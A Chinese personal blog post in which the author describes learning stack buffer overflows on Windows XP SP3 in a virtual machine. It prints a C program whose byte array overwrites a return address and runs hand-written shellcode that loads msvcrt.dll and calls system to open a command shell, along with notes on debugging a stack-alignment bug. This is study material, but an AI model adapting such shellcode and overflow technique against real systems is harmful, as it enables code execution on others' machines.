苦逼的缓冲区溢出

这几天看缓冲区溢出

Q版的那本,写的真是不错

在虚拟机里实验

各种苦逼啊~!

可能是RP不好,VC6各种崩溃啊!!!

最后写的汇编程序都没了,只剩下抄的shellcode

唉,还有一个很蛋疼的问题一直无法解决

先把代码放上去吧

#include <windows.h>
#include <stdio.h> 

char name[] = 
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"

"\x55\x8B\xEC\x33\xFF\x57\x57\x57\x83\xEC\x0A\x4D\xC6\x04\x24\x6D"
"\xC6\x44\x24\x01\x73\xC6\x44\x24\x02\x76\xC6\x44\x24\x03\x63\xC6\x44\x24\x04\x72\xC6\x44\x24\x05\x74"
"\xC6\x44\x24\x06\x2E\xC6\x44\x24\x07\x64\xC6\x44\x24\x08\x6c\xC6\x44\x24\x09\x6C\x8B\xC4\x50"
"\xB8\x7B\x1D\x80\x7c"//LoadLibrary地址:0X7C801D7B
"\xFF\xD0"
"\xB8\x21\xFE\x92\x7C\xFF\xD0"
"\x83\xC4\x16\x5D"
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D"
"\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63" 
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50"
"\xB8\xC7\x93\xBf\x77"//system地址
"\xFF\xD0"
"\x83\xC4\x10\x5D";

void fun()
{
    char output[8];
    //strcpy(output, name);
    memcpy(output, name, sizeof(name));
}

int main()
{
    LoadLibrary("msvcrt.dll");
    fun();
    printf("%x",GetLastError);
    _asm
    {
        mov eax,7C92FE21h;
        call eax;
    }
    return 0;
}

这个程序在XP SP3上执行之后会运行CMD程序

其中本来是在shellcode中执行loadlibrary的

结果不知为何总是失败,返回0

用OD跟进去始终没有发现问题

在shellcode中loadlibrary后加了个GetLastError

发现返回码是998——内存分配访问无效

真是蛋碎

泥煤的难道要我去看loadlibrary么~!!!

唉,苦逼,只能先放着了

最后先用C语言loadlibrary一下

发现程序运行后顺畅地打开了CMD

可以确定问题就在loadlibrary那里

最后诅咒该死的VS2010

我把代码放进去,编译链接,结果它直接提示我有缓冲区溢出

囧~

泥煤的要不要这么强大!!!

害的我只好继续冒着崩溃的风险在VC6下玩了……

loadlibrary的问题解决了

原来是堆栈分配空间时没有四字节对齐

唉,一个小问题让我蛋疼了这么久……

原文地址:https://www.cnblogs.com/02xiaoma/p/2634213.html